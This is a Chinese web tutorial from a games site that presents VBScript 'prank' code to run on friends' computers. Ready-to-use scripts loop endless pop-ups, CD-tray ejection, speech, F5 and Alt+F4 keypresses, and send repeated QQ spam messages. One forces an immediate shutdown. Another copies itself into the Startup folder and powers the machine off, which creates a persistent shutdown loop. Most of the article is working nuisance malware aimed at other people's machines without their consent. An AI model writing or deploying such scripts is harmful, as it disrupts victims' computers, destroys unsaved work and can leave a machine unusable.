首页> 资讯攻略 > 软件教程 > 如何恶搞朋友的电脑 vbs代码介绍

如何恶搞朋友的电脑 vbs代码介绍

责任编辑:匿名

如何恶搞朋友的电脑?想恶搞朋友的电脑?许多网友不知道,小编给大家介绍下如何恶搞朋友的电脑 vbs代码介绍,感兴趣的玩家一起来了解下如何恶搞朋友的电脑 vbs代码介绍吧!

如何恶搞朋友的电脑 vbs代码介绍

方法/步骤

1新手教学(大神请跳到第五步):

编写vbs有多简单?新建“文本文档”,输入msgbox "一大波病毒正在靠近...",点击文件->另存为->重命名为“代码.vbs”。文件名不重要,重要的是后缀要是“.vbs”。

2双击保存的文件:代码.vbs,即弹出一个对话框。记下这段小小的代码,去同学家里恶搞吧。当然你还可以输入其他有趣的文字。

3当然,如此恶搞还是不够的。那就来一个无限循环吧,输入图中代码另存为vbs格式。双击打开。此时,会弹出提示对话框,点击确定和关闭按钮之后,再一次弹出窗口,如此循环,无法正常关闭。

4那么到底要如何才能关闭呢?打开任务管理器结束进程“wscript.exe”即可

5到此新手教学完毕,下面进入大神课堂教学。


无限弹出光驱:

------------------------------------------------

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

------------------------------------------------

6无尽语音报数:

无限语音从1数到无限大。

------------------------------------------------

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i+1

loop

------------------------------------------------

7无尽刷新:

慎用,如此刷新打开任务管理器都难,只能拔掉电源。

------------------------------------------------

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

------------------------------------------------

8修改注册表:

------------------------------------------------

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup")

if not f="Win32.vbs" then wr.copyfile f,q&"Win32.vbs",true

ws.run"shutdown -p",vbhide

------------------------------------------------

9QQ信息骚扰恶搞:

打开好友的聊天对话框,然后记下聊天对话框的名称(如图:小敏),把下面代码里的小敏替换一下。代码中的“10”代表发送次数,把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可,当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("小敏")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

------------------------------------------------

10直接关机:

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true


------------------------------------------------

11不断按下alt+f4 :

打开任何程序都关掉

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

do


wscript.sleep 2500

WSHshell.SendKeys "%{F4}"

loop

------------------------------------------------

12开玩笑也得有个度,凡事都不要太过。上面的代码的尺度还不算很大,大家可以玩玩。

以上,就是编辑带来的关于如何恶搞朋友的电脑 vbs代码介绍的全部内容介绍啦!更多游戏资讯攻略请大家关注758手游网

相关文章

更多>>